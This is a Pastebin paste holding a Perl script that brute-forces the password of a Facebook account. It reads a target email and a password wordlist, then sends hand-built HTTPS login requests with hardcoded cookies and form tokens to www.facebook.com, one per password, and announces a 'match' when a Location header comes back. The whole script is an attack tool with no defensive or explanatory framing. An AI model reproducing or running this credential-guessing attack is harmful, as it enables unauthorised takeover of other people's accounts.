Advertisement
finflyferdy

Untitled

Jan 28th, 2019
266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.58 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3.  
  4. use strict;
  5. use Net::SSLeay::Handle;
  6.  
  7. if(!defined($ARGV[0] && $ARGV[1])) {
  8.  
  9. system('clear');
  10. print "\n";
  11.  
  12. print "\033[1;32m ======================================================\n";
  13. print "\033[1;32m Usage: perl $0 Email wordlist.txt\n";
  14. print "\033[1;32m ======================================================\n";
  15. exit; }
  16.  
  17. my $user = $ARGV[0];
  18. my $wordlist = $ARGV[1];
  19.  
  20. open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n";
  21.  
  22. print "\n";
  23.  
  24. print "\033[1;32m\n [+] Brute Force Attacking on: $user ...\n\n";
  25. print "=======================================\n";
  26.  
  27. while (my $password = <LIST>) {
  28. chomp ($password);
  29. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  30.  
  31. my $a = "POST /recover/code?recover_method=send_email&em[0]=w************m%40gmail.com&hash=AUaJbxMgbo_KUELH HTTP/1.1";
  32. my $b = "Host: www.facebook.com";
  33. my $c = "Connection: close";
  34. my $e = "Cache-Control: max-age=0";
  35. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  36. my $g = "Origin: https://www.facebook.com";
  37. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  38. my $i = "Content-Type: application/x-www-form-urlencoded";
  39. my $j = "Accept-Encoding: gzip,deflate,sdch";
  40. my $k = "Accept-Language: en-US,en;q=0.8";
  41. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  42.  
  43. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  44. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  45. my $cl = length($post);
  46. my $d = "Content-Length: $cl";
  47.  
  48.  
  49. my ($host, $port) = ("www.facebook.com", 443);
  50.  
  51. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  52.  
  53.  
  54. print SSL "$a\n";
  55. print SSL "$b\n";
  56. print SSL "$c\n";
  57. print SSL "$d\n";
  58. print SSL "$e\n";
  59. print SSL "$f\n";
  60. print SSL "$g\n";
  61. print SSL "$h\n";
  62. print SSL "$i\n";
  63. print SSL "$j\n";
  64. print SSL "$k\n";
  65. print SSL "$l\n";
  66. print SSL "$cookie\n\n";
  67.  
  68. print SSL "$post\n";
  69.  
  70. my $success;
  71. while(my $result = <SSL>){
  72. if($result =~ /Location(.*?)/){
  73. $success = $1;
  74. }
  75. }
  76. if (!defined $success)
  77. {
  78. print "\033[1;31m[-] $password ->its not match \n";
  79. close SSL;
  80. }
  81. else
  82. {
  83. print "\033[1;32m\n########################################################\n";
  84. print "[+] \033[1;32mPasswd match found: $password\n";
  85. print "\033[1;32m########################################################\n\n";
  86. close SSL;
  87. exit;
  88. }
  89. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement